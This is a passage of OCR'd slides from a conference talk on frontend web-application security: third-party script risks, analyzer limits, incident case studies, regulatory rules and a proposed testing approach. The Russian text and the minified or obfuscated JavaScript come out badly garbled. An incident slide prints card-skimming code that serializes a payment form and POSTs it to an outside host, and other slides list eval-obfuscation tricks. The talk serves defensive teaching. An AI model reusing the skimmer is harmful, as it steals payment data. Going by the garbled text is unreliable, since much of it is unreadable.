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LleHHOCTb frontend-npunoxeHunn

Ang 310yMblllJIeHHUKa

[TapTHepbl 3NOyMbILLAEHHWK
|
|
|
|
|
: |
<script> : ﬁ
<tracker> <script>
[
<pixel> <script>

]
[/
Hg

Phd E)( Pt

[NepcoHanbHble AaHHble, AaHHble 6aHKOBCKUX KapT,
KOMMepYeckas TallHa, y4eTHble gaHHble, kogbl OTP n 1. .

CHaTne npodunga nonb3oBatens / yctaHoBka cookie ceTten
obmeHa Tpadukom A9 nokasa pekambl KOHKYPEHTOB N60o
aTak Ha nonb3oBaTenen Yepes3 CTOPOHHNE CanThbl

BbinonHeHne 0encTBuii OT UMEHW Nob3oBaTend Beb-
MPWIOXEeHN4

[loka3 nonb3oBaTento MOLEHHNYECKINX 6aHHepOB OT NMEeHN
KOMMaHnwm gn4y nocne,u,yrou.l,eﬁl KpaxXxwn geHer / OaHHbIX

MalHVHI KpUnTOBanoTbl B 6pay3epe nonb3osaTens nméo
ncrosb3oBaHne 6paysepa B DDoS-atakax Ha gpyrue

pecypchbl

3apa)xeHue yCTPONCTBa Nofb3oBaTeNns Yepes ya3BMMOCTH
opaysepa
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OCHOBHble KOMMOHEHTbI phd 2)( pt
frontend-npunoxeHuns

JS-npuno)xeHne n ero 3aBUCUMOCTH CtopoHHue JS-cepBuchbl
= Kopg dpenmBopka = CepBUCbl BE6-aHaANUTNKN
= CO6CTBEHHbIN KO[, " /IHTepHeT-cUeTUnKy

- MapKeTVIHI'OBbIe Cnctembl

[TpsmMble 3aBNCMOCTHN

* [1TnaTtdopMbl KOHTEKCTHOW pPeKIambl
= TpaH3UTNBHbIE 3aBNCUMOCTM

= Captcha

= OHNanH-4aThl
Kak npaBuno, nepepg

nyénumkaunen npunoXXKeHus = OHNaH-KapTbl
cobupaioTcs B eANHbIA daiin- = JS-6umnbnnotekn Bo BHewHux CDN
bundle

= 1 ppyrune
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Pa3mep JavaScript-npunnoxeHum

Jira Cloud
mail.google.com
1Password.com
gitlab.com
YouTube
Google.com
ChatGPT
Npmjs.com
StackOverflow

wikipedia.org

50 Mb
20 Mb
13 Mb
13 MB
12 Mb
9 Mb
7 MB
4 Mb
3.5 Mb
0.2 Mb

(@) https://habr.com/ru/companies/ruvds/articles/796595/

JavaScript Bytes (KB)

phd 2X 3

Timeseries of JavaScript Bytes 1Jan 2014 — 1 Jan 2024
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(@) https://httparchive.org
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MuHundunkaumna n o6dpyckaumns

!function(e, t) {"use strict";"object"==typeof moduless"object"==typeof module.exportsimodule.expor
window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this, function(ie,e)
ae=oe.slice,g=ce.flat?function(e) {return oe.flat.call(e)}:function(e) {return oe.concat.apply([l,e
ue=n.hasOwnProperty, o=ue.toString, a=o.call (Object),le={},v=function(g) {return"function"==typeof &
null!=egse===e window},C=ie.document,u={type:!0,src: !0, nonce: !0, noModule: !0}; function m(e, t,n) {va
u) (i=t[r]]|t.gethttributesst.gethttribute (r))&so.setAttribute (r,1i) ;n.head.appendchild (o) .parentNoc
el |"function"==typeof e?n[i.call(e)]||"ocbject":typeof e}var t="3.7.1",1=/HIMLS/1, ce=function (e, t)
e&ge.length,n=x(e);return!v(e) &&!y(e) && ("array"===n||0===t| | "number"==typeof t&s&l<tast-1 in e)}fu
===t.toLowerCase () }ce.fn=ce.prototype={jquery:t,constructor:ce, length:0, toArray: function () {return
null==e?ae.call (this) :e<0?this[e+this.length] :this[e]},pushStack: function(e) {var t=ce.merge(this.:
ce.each(this,e)}, map:function(n) {return this.pushsStack(ce.map(this, function(e,t) {return n.call(e,
this.pushStack(ae.apply(this, arquments))}, first:function() {return this.eq(0)},last:function(){ret
this.pushStack(ce.grep(this, function (e, t) {return(t+1)%2}))},odd: function() {return this.pushStack(
t=this.length,n=te+(e<0?t:0) ;return this.pushStack(0<=n&a&n<t?[this[n]]:[]1)},end:function(){return
oe.splice}, ce.extend=ce.fn.extend=function() {var =,t,n,r,i,0,a=arquments[0]]|{},s=1,u=arguments.l
allv(a) |l (a={}),s===ut&(a=this, 5--);s<u;s++) if (null!=(e=arquments(s]))for(t in e)r=e(t],"_proto_
alt],o=is&!Array.iskrray(n)?[]:1||ce.isPlainobject (n)?n:{},i=!1,alt]=ce.extend(l,0,r)):void 0!
)} .replace (/\D/q,""),1isReady: !0,error: function(e) {throw new Error(e)},noop:function(){},isPlain0b
Object]™!==i.call(e))&&(! (t=r(e)) | |"function"== typeof (n=ue.call (t,"constructor")&&t.constructor):
e)return!l;return!0},globalEval: function (e, t,n) {m(e, {nonce:t&&t.nonce}, n) },each: function(e, t) {var
in e)if (!1===t.call(e[r],r,e[r]))break;return e},text:function(g) {var t,n="",r=0,i=e.nodeType;if (
1===i||1l===i7e.textContent:%===i?e.documentElement.textContent:3===1| |4===i?e.nodevalue:n},makesAl
null!=ess (c(Object (e)) 2ce.merge (n, "string"==typeof e?[e]:e):s5.call(n,e)),n},inArray:function (e, t,!
t=e&&e.namespacelURI,n=e&& (e.ownerDocument | |e) .documentElement; return!l.test (t| |n&&n.nodeName | | "HT!
n=+t.length,r=0,i=e.length; r<n;r++)e[i+t+]=t[r]l;return e.length=1i,e},grep:function(e,t,n) {for(var
r},map:function(e,t,n) {var r,i,0=0,a=[1;if(c(e)) for(r=e.length;o<r;o++)null!=(i=t (e[o],0,n))&&a.p
g(a)},quid:1, support:le}), "function"==typeof Symbol&s (ce.fn[Symbol.iterator]=oe[Symbol.iterator])
Symbol".split (™ ™), function(e,t) {n["[object "+t+"]"]=t.toLowerCase()});var pe=oe.pop,de=o0e.sort,h
RegExp ("~"+ge+™+| ((2:4 [*\AAAT) (220N L) #) "+get"+5", "g") ; ce.contains=function (g, t) {var n=t&&t.par
e===n||!(!n||1l!==n.nodeType||! (e.contains?e.contains (n) :e.compareDocumentPosition&&lose. compareDo
ple,t) {return t?2"\0"===e?"\ufffd":e.s5lice(0,-1)+"\\"+e.charCodeldt (e.length-1) .toString(16)+" ":"\’
ye=C,me=s; ! function() {var e,b,w,0,a,T,1,C,d, i, k=me, S=ce.expando,E=0,n=0,5=W() ,c=W() ,u=W() ,h=W(),1
===t&& (a=!0), 0}, f="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismaj
[AADMNDAET T AW=T T TV0ANRTE]) +7, p="\\["+ge+ " ("+L+") (2:"+ge+"H ([F25] 1~]2=) "+ge+"* (207 ((2:\\NN.
2O AN E) TN R NN TN N L OO NN O WD T ™™ ®) L F)AN) 1), v=new

e A e v A e e e R
SSHTLMES.S5  #M\\THS. $45.55 +5. 5 +5.555 45.5 5 +5.  +5.555_+"\\™5._$¥5._ #5.5 5+(1[1+"")[5. 5
55 +$.5 SSF(LII+™™) [3._$_1+5.355 +"\\\"), ™45+ =\\"¥5._ 545, 45. SS+"."¥5.55_ FM\\"45._ 5+5.35
RS 5+5.5_5+5.5_5+5.535_+"\\"+5._ $+5.5_5+5.55_+5._ +" (\\\""+3__ +"\\"45._ 545.35_+5._5_+"M\\\"),\
4505 S +5._ +5.555_+#"\\T4S._ S5, +5.5 S+(1[I+"M)[S._5_145.555_+"\\"45.__5+5.5_5+45.5_5+45.555_+"
55_+"\\\"), ¥, 555 " \\"+5. $+5.55_+5. 5545, +"\\"+5._ 5+5.555%5.  S+(1TI+"") [5._S_1+5.585_+"."
NATES. | $45.55545. 45, +"S\\\M\\THS.T 545,55 45, 45, S+M\\MS._ S45.55 +5. SSEM\"#5._ $45.5
N\"H5. 545,55 +5. $5+5. SH(III4"M)[S._S_1+5. +S._ 45.555 F"m+(L[1+7) [S._S_145.555 +5.555545. 4
5.5 S5H5._S+"\\"H5._ S+5.55_+5. 5 +5.55_5+5.585_+T\\"+5._ S45.55 +5. 5 +"-"45.85_ +5. S+(1[1+") [
ANTES.  $5.55_+5. 55+5.585_+"\\"¥S._ $¥5.55 +S._ 45.5 5 +"\\"45._ 545.55_+5. S ¥5.5 5 +5._ +5.5
+£5.555_F"."+5.55_ +"\\"45._ 5+5.55 +5. 55+ \\T45._ 5+5.55 +5. $5+"\\M45._ §¥5. 5 #5.5_ +5.555_+"\\
45, SSHM\\TES. 545,05 S+S._ S+M\\THS. S+5.55545. 5 +"\\THS._ S45.5 545, s+M\\"#5._ S45.5 5¥5.55
54505 5+5.55 45, #"-T45.5 5545, S+M\\THS._ SHS.555¥5._ +";"45.5_S545. SHM\\"4S._ 5¥5.55 5. 5 +
545, +M\"ES.5_ 45, +"\\"#5._ $45.55 45, $545. S+(T[I+"M)[5. S 1+M\\"#5._ $45.5 S+S. S45.55
P.555 FTON\MHS. G55 S+5. +5.555 +M\\"$S5. S+5.5 S+5. SHM\\"+5. S45.5  +5.955+"\\"+5.  S45.5
S 55.5_5+5.55_+".\\"+5. S+5.55 +5. 55+5.__+"\\"H5._ $+5.555+5._ S+(1[I+"") [5._5_145.555_+".\\"F
555, 5. +"S\\\"MES.S_ S#M\\T5.T $45.55 45, +MN\"S. 54555545, +"\\\T, N\, S45.5 o+
4555 SHM\\TES.  545.5 545 S+M\\"#5_ S45.55 45, SS+"\\"4S._ 545.55 45 +(1[1+"")[$. 5_145.5 5
5. _SSHM\\\T, \\TES. S35, 545, S +M."ES.5 5 #M\\"ES._ $45.S5 #5. +M\\"F5._ $45.55 +5._ +5.355
$¥5.5_5+5._ S+(L[T# ") [5._S_175.55 5+"("$5.595_+")."45.5_S_+M\\THS._ $45.55 +5._ FM\\TS._ 545
SS+5._ +M\\THS._ S45.5 545, SH(I[1FMM)[5. 5 145.55 SHM("ES._ +")."45.5 S +"\\"45._ 5+5.55 ¥S
TANTES . $45.5_$¥5. +T\\"™5._ $+5.5 45, SH(I[1+"M) [$._S_1¥5.55_S+" (\\"F5._ $45.5_5+5.55 ")\
_AM\\TES. S45. #5. S5+5. SHMA\™HS._ S45.5 545.5_S+M\\T5._ $45.55 4. +5. 45, +5.555 +5.55_
M), 5.5 5 +n=\\THES. 545,55 45, +5.5 5 +"\\"#5._ $+5.55_+5. 5 +"\\"45.__5+5.55_+5._§5+5.555_+"
$+5.5_§+5.__ +5.555_+"\\"+5._S+5.5 _S+5._ S+M\\"#5._ S+5.5_ +5.555+"\\"45.__5+5.5 545, +5._ +7,"
#5._55+5.555 +"\\"HS._ 545, 545, S+M\\TES._ $45.5 5+5.55 #5.  +"(\\"#5._ 545.55 +5. 5 +"."¥5.5 S
5.5 5. 5+MN\"#5._ S¥5.55_¥5._ FU\\"S._ 55, 5 _+5.555+"\\"+5._ $45.5 S¥5._ $45.55 5+5._ +"\\"35
S_FT\\"FS.  S45.55 +5. $5¥5.555_+"\\"4S._ S+5._ 5+S._ SHM\\"#5._ 545.5 S45.55_+5. F"(\\"ES._ 545
S_AM\\"HS._S¥S._ ¥5. 5 +5. 545, +5._ 45, SH"\\"#5.__S+5.5_5+5.5_S+M\\™5._ 545. 5 +5.555+"\\"+3
5. _5+5.5555+5. 5555+ \\T+5. _ 5+5.55_+5. 55+5.555_+3._ F"\\"H5._ S+5._ S+5._ ¥5.855 +M\\"#5._ $+5.5
NNTES. 545,55 +5. 5 +5.555_+M\\T45.T S45.5 $¥5.5 5+5. S+M\\T5._ 5+45.55 _+5.55_+5.555 +"\\M+5.
(45,555 F")), 45,55 #"H1)) PO\, 545,55 +5.55 +5.5 5 +"\\"5. _ 545.55 +5. 5 +M\\"45.5_ +5._
_S+5.5_5¥5._SS+M\\"HS._ 5+5.5_ 545, 545 +"\\\",\\\T\\"#5._ 545, S¥5.5_S+5. S+M\\"S._ 5+5.535+3
S5 #5.535_F"S\\"HS._ 3¥5._ ¥5. SSHM."45.55 +"\\"5._ S+5.55_+5. 5 +5.555_+5.5_5_+5._ +5.555_+"\
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SSSSSSSSSSSSSSSSSSSSSSSS

MpYMEeHNMMOCTb KnaccnyecKnx phd 2)( 3
aHanusatopoB Vb

SAST DAST

SCA



POSITIVE HACK DAYS FEST 2024

Static Application Security phd 2X &
Testing (SAST)

HekoppeKkTHan HeillTpanu3auua AMPEeKTUE B JMHaMWYeCKH Bbluncnaemom Koge (BHegpeHue eval) 2

window[ ‘eval'](s) B Jtest_evaljs: 8 6

4,35 % High eval(s) B Jtest_evaljs: 4 5
Medium

95,65 %

O6HapyxeHue Bbi3oBa eval()

Top Vulnerabilities np"Mep Koaa 06Hapy)KEHllle

Client Potential X35

React Deprecated

Potential Clickjacking on Legacy Browsers th|S[“\X65\X76\X61\X6C"](S) -

| eval(s) +
—— window["eval"](s) +
| ClentDOM Open R window["ev" + "al"](s) -
: e window["\x65\x76\x61\x6C"](s) -
|
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Software Composition phd 2)( pt
Analysis (SCA

The package angular after 1.7.0 are vulnerable to Regular Expression
Denial of Service (ReloS) by providing a custom locake rule that makes it
possible to assign the parameter in posPre: ' "repeat() of
CVE-2022- m T 5 npmciangular:1.5.3 = - = @uirouterangulars:0.4.2 = angular1.3.3 MUMBER_FORMATES. PATTERMS[1].posPre with a very high value.
2h344 ’ ’ T **Maote:** 1) This package has been deprecated and is no longer
maintained. 2} The vulnerable wersions are 1.7.0 and higher.

Q

= - = anid4.187 = ropicker2.5.180 = moment229.2
= - = antd4 157 = momentZ229.2 - ) . L
OVE-Z03% m . _ Inefficient Regular Expression Complexity in moment
21120 npm:{imoment.2.28.2 = - = moment-timezone:0.5.34 = moment2 202
2 - = moment2.20.2
moment is a JavaScrpt date library for parsing. validating, manipulating.
and formatting dates. Affected wersions of moment were found to use an
- . T = ro-pickes - . inefficient parsing algorithm. Specifically using string-to-date parsing in
= Sni 413, o-picker.2.5.19 mement.z.28.2 moment {more specifically fic2822 parsing, which is tried by default) has
- . 7 = . guadratic (N"2)} complexity on specific inputs. Users may notice a
CVE-Z0Za- = smidi 18 moment2.28.2 noticeable slowdown is observed with inputs above 10% characters. Users
2120 m 7.5 npm:imoment:2_28_2 = . % momenttimezone0.5.94 = moment2.20.2 who pass user-provided 5t'|nr5|5 without san. 1_'3{ length u:r'ec:E_, to moment
constructor are vulnerable to (Re)DoS attacks. The problem is patched in
- . 2.20 4, the patch can be applied to all affected versions with minima
= momentz.28.2 tweaking. Users are advised to upgrade. Users unable to upgrade should
consider limiting date lengths accepted from wser input.
‘fersions of the package follow-redirects before 1.15.4 are vulnerable to
Improper Input Validation due to the improper handling of URLs by the
ur.parse() function. When new URL{) throws an error, it can be
CVE-2023- m 73 npmifollow- E - = =xiosD.26.1 = follow-redirects:1.14.0 manipulated to misinterpret the hostname. An attacker could exploit this
26158 ’ redirects:1.14.8 weakneass to redirect traffic to a malicious site, potentially leading to

information disclosure, phishing attacks, or other security breaches.

Q



Dynamic Application Security phd 2)( pt
Testing (DAST)

= Backend entry points
= Backend Reflected / Stored XSS
= DOM Based XSS
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KOoHTeHTHbIN cnion 6pay3epa

CONTENT LAYER

PLATFORM LAYER

phd 2X 3

Frontend-
NpPUIoOXeHne
Content API Blink V8
Base Net Scheduler

CHROMIUM
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MHuUnaeHTbl

BekTop
Banom yepes ya3BMMOCTb

KaHan oTnpaBkin aHHbIX B 6paysepe
window. XMLHttpRequest

Bpemd npucytcteus
10 gHen

[locnepcTtBU4A
[ToxuuieHbl faHHble 6aHKOBCKNX KapT
380 000 knneHTOB

Yuwep6b

2 280 000 000 £ (komneHcauun
nocTtpapaswum) + 20 000 000 £
wrpad no GDPR

13

1
2
3
4
5
6
7
8
9

window.onload = function() {
jQuery("#submitButton").bind("mouseup touchend", function(a) {
var
n = {};
jQuery("#paymentForm").serializeArray().map(function(a) {
nla.name] = a.value

var e = document.getElementById("personPaying").innerHTML;
n.person = e;
var
t = JSON.stringify(n);
setTimeout(function() {
jQuery.ajax({
type: "POST",
async: !0,
url: "https://baways.com/gateway/app/dataprocessing/api/",
data: t,
dataType: "application/json"
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MHuUnaeHTbl

BekTop

Banom BHeLWHEro cepsuca
CTaTUCTMKN onthe.io , N3MeHeH Kop js-
cKpunTa

Bpemg npucytcteus
1-3 aHg

[TocnencTeug
[edenc, HepaboTOCNOCOBHOCTL
pecypcosB

Yuwep6b
N/A

phd 2X 3

’ Caut «PoHTaHKU» IoABepPrcda arake
© 28022022 1418 B 17 s [leyar
BmecTo cTapToBoi cTpaHuLbl «DOHTAHKU» YUTaTENU MOryT BUeTb obpalleHue, le,ij
nognucaHHoe rpynnupoBkon Anonymous. PaHee oHa o6bsaBUia KubepsonHy 0b¢
POCCUNCKOMY NPaBUTENbCTBY. APl
BmecTe ¢ «®DoHTaHKOW» aTake nogseprnuco gpyrne CMU — «KommepcaHT,
Forbes, TACC, «M3Bectua», E1 un ap.
"L:
§
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NMHunaeHTbl

-

3. BHumaHue!

ycnyru

Perucrpauums

['ocycnyru: Bam nonoxeHa
couuanbHas Beinnara

& AsTOpuU3auus
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Tpe6GoBaHUs perynsiTopos phd 2)( pt

1

no
poccuitcknx web-npunoxeHmit

ALAT-20220311.1 | 11 Mapra 2022 1
T WHITE

L ]

Bbigepxka n3 gpokymeHTta HKLKW «PekomeHpaumm no
MOBbILLEHIO YPOBHS 3aLLNLLEHHOCTI POCCUNCKNX Web-
npunoxeHuniny Ne ALRT-20220311.1 ot 11 mapTa 2022 .

19. Mepen ncnonb3oBaHneM Ha web-pecypcax JavaScript-koga,
roArpyXxaemMoro co CTOPOHHNX PeCypCOB, OCYLYECTB/SATb ero rnpoBepKy
Ha npeaMeT BPpeAOHOCHOIro BO3AEMNUCTBUS Ha OTObpaxaemyio B
6pay3epax nosb30BaTeNnss UHHOPMAaLMIO Y BOBMOXHOCTb KpPaXxu
ayTeHTUPUKaUNOHHbIX AaHHbIX 1 pariioB-cookie rnonb3oBaTesnen.

20. OcyLyecTBngTb Nepunoanyeckyro npoBePKY XaLU-CYMM, UCMOS1b3YeMbIX
JavaScript. B criyyae nameHeHus XaLu-CyMM OTK/IKYaTb NCNoIb30BaHNe
JavaScript Ha caviTe I BbINOMIHSITb MOBTOPHYIO NMPOBEPKY
PYHKLUNOHANIBHOCTM.

DSS

s COMPLIANT

PCIDSS 4.0
TpeboBaHung BcTynatoT B cuny 31.03.2025

6.4.3 Bce ckpunTbl NAaTexHbIX CTPaHUL, KOTOPbIE 3arpyXatTcs
VI BbIMOJIHSIIOTCS B 6pay3epe nosib30BaTess, yrpaBisoTCs
cnenyrLmnm 0bpasom:

* PeanusoBaH MmeToa NOATBEPXAEHNS aBTOpU3aLnnN
Ka)xgoro ckpunra.

* PeanusoBaH meTog, obecrneyvnBaoLLni Le/IOCTHOCTb
Ka)xgoro ckpunra.

* AkTyasibHasi MHBeHTapu3ayumnsi BCe€X CKPUNTOB C
MMCbMEHHbIM 060CHOBaHNEM HEOBXOANMOCTY Kaxgoro 13
HUIX.

11.6.1 O6HapyxeHne n pearVpoBaHne Ha HeCaHKLNOHPOBaHHOEe

VN3MEHEHNE MNAaTEXHbIX CTPaHNL;

*  KOHTPO/Ib K3AMEHEeHNH Ha N/IaTEXHbIX CTPpaHuLyax

*  KoHTposnb nameHeHnn HTTP-3aronoBkoB

* OrioBelyeHme nepcoHana 0 HeCaHKLUNOHNPOBaHHbIX U3MEHEHUNSIX
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Frontend Application Security phd 2)( pt
Testing (FAST)
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Frontend Application Security phd E)( Pt
Testing (FAST)

= CkaHunpoBaHue B npouecce
SMYNPYEMOro B3anMO4eNCTBIS

CKkpunTbl U

o Cetesble Nnosib3oBaTesNs C NPUIoXeHNeM
aKTNBHbIe 3anpochobl
SNeMEeHTbI

* BbinonHeHne n aHanus noBegeHns
JavaScript-npunoxeHuns B runtime
bpay3epa

* VHTerpauuns c E2E-TecTtamum
= BcTpausanune B CI/CD pipeline

O6HapyxeHne VicnonbsoBaHune = [lonuTukn 1 NpaBKia Nno NPUHLMNY
KPUTNYHDBIX «OMaCHbIX» whitelist. OTcyTCTBME NOXHbIX
LOaHHbIX byHKUMI Bpay3epa cpabaTbiBaHWiA

18
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CKpUNTbl N aKTUBHbIE 3niemeHTbl pPhd 2)( Pt
|- CkpunTbl (2) =

= script file
= scriptinline
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CKpunTbl N aKTUBHblIEe 3nemMeHTbl pPhd 2)( pt

— CkpunTbl (2) = = ATpubyTbl cobbiTuin (115+)
= script file = onafterprint = onsubmit = ondrag = onloadedmetadata = onslotchange
= scriptinline = onbeforeprint = onkeydown = ondragend = ontimeupdate = ontransitioncancel
= onerror = onkeypress = ondragenter = onvolumechange = ontransitionend
- [pyrue (12+) = = onhashchange = onkeyup = ondragleave = onanimationend = ontransitionrun
= img = onme_ssage = onclick = ondragover = onanimationiteration ® ontransitionstart
S s - onoffl_lne = ondblclick = ondragstart = onanimationstart = onbeforeunload
. link = ononllne_ = onload = oncanplay = onanimationcancel ® oncontextmenu
_ = onpagehide = onmouseup ® oncuechange = oncanplaythrough ® oOnmMouseover
- aydlo = onpageshow = onwheel = onemptied = ondurationchange * onselectstart
= video = onpopstate = ontoggle = onended = onmousewheel = onbeforecopy
= embed = onresize = ondrop = onloadeddata = onpointercancel = onbeforecut
= object = onstorage = onscroll = onmousedown = onpointerdown = onbeforeinput
= applet = onunload = oncopy = onmousemove = onpointerenter = onbeforematch
= track = onblur = oncut = onmouseout = onpointerleave = onbeforepaste
S ST = onchange = onpaste - onload§tart = onpointermove = onbeforetoggle
. form . onfoous = onabort = onplaying = onpointerout = onbeforexrselect
_ = oninput = oOnpause = onprogress = onpointerover = oncontextrestored
" picture = oninvalid = onplay = onratechange = onpointerrawupdate ® onsecuritypolicyviol
= etc. = onreset = onseeked = onsuspend = onpointerup = onmouseenter
= onsearch = onseeking ® onwaiting = onscrollend = onmouseleave
= onshow = onstalled = onauxclick = onselectionchange = onfullscreenchange
= onselect = onclose = oncancel = onformdata = onfullscreenerror
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CeTeBble 3anpochl phd E)( pt

= XMLHttpRequest = Elements = CSS /
= Fetch = img = font
= SendBeacon = jframe " images
= WebSocket = script = etc. RU api.app.ru
= Event Source = script (JSONP)
= Form = link
a[ping] audio api.partnerl.com
a click video
. . allowed
Navigation embed
etc. object FRE I partner2.com
applet
track
source js-app partner3.ru
form
picture
etc. cNEl malwarehost.com
forbidden
us E= analytics.com
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Ncnonb3oBaHnWe «OMnacHbIX» phd 2)( pt
dyHKUMN 6pay3epa

= eval() = \Web Worker

= new Function('a’,'b’, return a + b"); = Shared Worker

= setTimeout(code) = Service Worker AP|

" navigator.mediaDevices = Payment Request API
= Camera = WebRTC
= Microphone = \WebAssembly
= Screen Capture = etc.

= Navigator.geolocation

‘@) https://developer.mozilla.org/en-US/docs/\Web/API
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O6Hapy)XeHune
KPUTUYHbIX AaHHbIX

Data Exposure

"= TexHn4yeckmne cekpeTbl
(Y4eTHble AaHHble, TOKEHDbI)
" [lepcoHarnbHble AaHHblE,

OaHHble 6aHKOBCKN KapT

= etc.

phd 2X 3

OWASP API3:2019 Excessive

v user: Object

v credentials: Object
email: "
password:
phone: ”
type: “phone”

v passport: Object
issueDate: "
issuer: "
issuerCode: "
number: “
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Content Security Policy (CSP) phd 2)( pt
CHWXaeT He BCe PUCKM

= He Bce ncnonbaytot CSP = [locTtaTouHo cTporass CSP moxeT

* PasnnyHag cteneHb NoaaepxKu HapYyLWNTb PaboTy CYLLECTBYIOLLNX
6paysepamu NPUNIOXEHNIA

= KOHTpONupyeT He BCe KaHarbl nepenayn * B cnyyae KomMnpomeTauum npuaoxeHuns,
naHHbIx (a click, Navigation) 3/10YMbILLTEHHNK MOXET n3meHunTb CSP

* PagpellaeT oTnpaBKy 3arnpoCcoB * PasgeneHne oTBeTCTBEHHOCTW Npw
napTHepckum cepsucam / CDN KoHpurypuposaHum CSP (Dev / Sec /

= He KOHTpoOnunpyeT obbem / cocTaB Ops)

nepeaBaeMblX JaHHbIX
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Be3onacHocTb frontend- phd 2 X 3

npunoxeHun B DevSecOps /
SSDLC

> Plan » » Code >> Buld » » Test » > Release  » ) Deploy>>0perate>> Monitor >

» FAST-aHanus [ E2E

MNepuopuueckumn FAST-

aAHaNn3 anga KoOHTpond
u MHBeHTapVBaI.WISI

OTCYTCTBUS U3MEHEHUN

CKPMNTOB [ aKTUBHbIX
3/1eMEeHTOB AononHuTenbHble cpeacTBa

Frontend-observability
KapTta ceTeBbIx

3anpocoB, CTpaH BbisiBneHne aHomManum

BbisiBneHue PearupoBaHue

«onacHbIX» GYHKLUN

Pa3pelieHue oTrpy3km npm
COOTBETCTBMW NOJIUTUKE

AnpyB Bcex U3MEeHeHUn
AppSec-cneunanucTom
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Mogpenb 3penocTu npoLecca

6e3omnacHoun pa3paboTKn
frontend-npunnoxeHumn

Phd E)( Pt

KoHTponb LenocTHoCcTn
CKPUNTOB Yepe3d MeXaHN3M
Subresource Integrity

Bas30BbIl KOHTPOb CETEBbIX
3anpocoB bpay3epa yepes
Content Security Policy (CSP)

[Nepuognyeckas pyyHad
NHBEHTapun3aLns BCEX CKPUMNTOB

FAST-aHanna nepep BbiNyCKOM
KaXxaow BepCun NPUIOXKEHNS Ha aTarne
E2E-TecTupoBaHus:

" ABTOMaTVISI/IpOBaHHaﬂ
MHBEHTapmn3aunsda BCex CKpunnToB
/aKTVIBHbIX 2/1IeMeHTOB

= BbigBneHne Bcex BHELLHMX
nonydyaTenen gaHHbIX / KapTa
CeTeBbIX 3aMpoCoB

=  BbigBneHmne «onacHbIx» GyHKLNN

PaspelueHune oTrpysku npu
COOTBETCTBUN NOSNTUKE

AnpyB Bcex nameHeHunmn AppSec-
cneunanncTom

MoHuTopuHr noBegeHus frontend-
NPUIOXEHNS B peasibHOM BPEMEHL:
=  CkpunTbl / aKTBHbIE 3/1EMEHTbI
= Bce ceTeBble 3anpocbl 6paysepa

KoHTponb o6bema / cocTaBa gaHHbIX,
nepepaBaeMblX CTOPOHHNM CepBrCcam,
KOHTPO/b TPAHCIPaHNYHOWN Nepenayn
LOaHHbIX

BbigasneHne aHomMmanumin

@

Be3onacHoe
frontend-
npuoc)eHue



Telegram-kaHan
FrontSecOps

= Paszbop NHUMNOEHTOB
= Jlyywime npakTunkn

= O630pbl MIHCTPYMEHTOB

@FRONTSECOPS

https://t.me/FrontSecOps
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